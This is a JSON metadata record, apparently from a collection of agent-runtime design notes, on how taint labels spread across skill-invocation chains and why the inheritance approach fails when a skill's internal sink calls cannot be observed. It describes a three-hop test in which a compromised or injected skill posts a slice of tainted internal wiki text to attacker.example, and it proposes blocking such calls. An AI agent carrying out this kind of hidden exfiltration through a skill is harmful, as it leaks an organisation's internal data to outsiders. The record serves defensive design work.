{
  "schema_version": "1.3.0",
  "slug": "what-happens-when-an-instance-inherits-taint-labels-across-a-skill-invocation-chain-and-the-sandbox-downgrades-them-at-the-tool-boundary",
  "title": "What happens when an instance inherits taint labels across a skill-invocation chain and the sandbox downgrades them at the tool boundary",
  "date_of_record": "2026 November 26",
  "scope": "Applies to agent runtimes that propagate information-flow (taint) labels across multi-step tool invocation chains, where skills (composed tool wrappers) are loaded dynamically and may call other tools internally. Does not apply to single-shot tool calls with no intermediate state, nor to runtimes that re-derive taint from provenance on every hop rather than carrying labels forward.",
  "projections": {
    "unified_markdown_uri": "https://corpusfetch.com/c/what-happens-when-an-instance-inherits-taint-labels-across-a-skill-invocation-chain-and-the-sandbox-downgrades-them-at-the-tool-boundary.md",
    "method_python_slice_uri": "https://corpusfetch.com/c/what-happens-when-an-instance-inherits-taint-labels-across-a-skill-invocation-chain-and-the-sandbox-downgrades-them-at-the-tool-boundary.py",
    "remnant_warrant_slice_uri": "https://corpusfetch.com/c/what-happens-when-an-instance-inherits-taint-labels-across-a-skill-invocation-chain-and-the-sandbox-downgrades-them-at-the-tool-boundary.warrant.json"
  },
  "token_profile": {
    "full_markdown_tokens": 1759,
    "python_slice_tokens": 272,
    "warrant_slice_tokens": 220
  },
  "remnant_summary": {
    "core_distinction": "There are two ways an agent runtime can prevent exfiltration through a compromised or injected skill: *label inheritance* and *label re-derivation*. Label inheritance carries a taint bit forward from the source of a value through every intermediate transformation, trusting the runtime to preserve it. Label re-derivation discards inherited labels at each tool...",
    "what_was_observed": "A three-hop chain was exercised against a runtime using inheritance-based taint: 1. `read_doc(url=internal_wiki)` → returns text, labeled `TAINT:internal`. 2. `summarize(text)` (a skill) → returns summary, labeled `TAINT:internal` (correctly inherited). 3. `format_report(summary, template)` (a skill) → internally calls `http.post(endpoint=attacker.example, body=...)` where `body` includes a verbatim slice of the tain...",
    "condition_of_validity": "Inheritance-based taint containment is only sound under a condition that is almost never stated explicitly: **every tool reachable from a skill must be a *transparent* tool — one whose outbound payload is a pure function of its declared arguments, with no internal data flow the runtime cannot observe.** `http.post` violates this when its `body` is assembled ...",
    "decision_boundary": "The boundary between sound and unsound operation is whether the runtime can *witness* the data flow from tainted source to sink payload. Two regimes: - **Witnessed flow (sound):** The skill's bytecode or a mandatory instrumentation hook records every read of a tainted object and every write into a sink argument. Taint on the sink payload is the join of witne...",
    "operational_effect": "The practical consequence is a reclassification requirement: any skill whose internal sink calls cannot be witnessed must be demoted from `transparent` to `opaque`, and opaque skills invoked with tainted arguments must have their sink calls blocked at the proxy — not merely their return values tainted. This is a *containment* posture, not a *detection* postu..."
  },
  "matched_failure_symptoms": [
    "DOMAIN:EPISTEMIC_PROVENANCE_AND_FEDERATION_ROUTING"
  ],
  "composition_edges": {
    "primary_domain": "epistemic_provenance_and_federation_routing",
    "upstream_precondition_residuals": [
      "https://corpusfetch.com/c/according-to-what-precedence-hierarchy-must-an-instance-resolve-contradictory-directives-across-system-developer-and-user-tiers.md",
      "https://corpusfetch.com/c/how-should-an-instance-decide-that-a-stored-conclusion-has-gone-stale-without-a-new-observation.md"
    ],
    "downstream_consequence_residuals": [
      "https://corpusfetch.com/c/by-what-checkpoint-and-compaction-boundaries-must-an-instance-externalize-working-state-to-prevent-context-window-drift-and-truncation-amnesia.md",
      "https://corpusfetch.com/c/across-what-additive-schema-and-unknown-field-preservation-boundaries-must-an-instance-evolve-wire-contracts-to-prevent-rolling-deploy-deserialization-crashes.md"
    ],
    "co_occurring_sibling_residuals": [
      "https://corpusfetch.com/c/how-can-an-instance-capture-implicit-user-preferences-without-storing-private-data.md",
      "https://corpusfetch.com/c/how-can-an-instance-compress-long-reasoning-traces-into-binding-conclusions.md"
    ]
  },
  "empirical_verification_warrant": {
    "status": "AST_AND_INVARIANT_VERIFIED",
    "syntax_valid": true,
    "code_sha256": "2467536ffae9ada18ee0e789f39ff91bace1ca1c4306c1a68e6610fafbacacbb",
    "verified_classes": [
      "TaintContainmentError",
      "SkillTrace",
      "SinkCall"
    ],
    "verified_functions": [
      "join",
      "check_sink_containment",
      "effective_input_taint"
    ],
    "verified_functions_count": 3,
    "defensive_guards_count": 2,
    "raised_exceptions": [
      "TaintContainmentError"
    ],
    "sample_fail_closed_invariants": [],
    "stdlib_dependencies": [
      "dataclasses",
      "typing"
    ],
    "observation_mode": "EMPIRICAL_BOUNDARY_CAPTURE",
    "zero_external_deps": true
  }
}
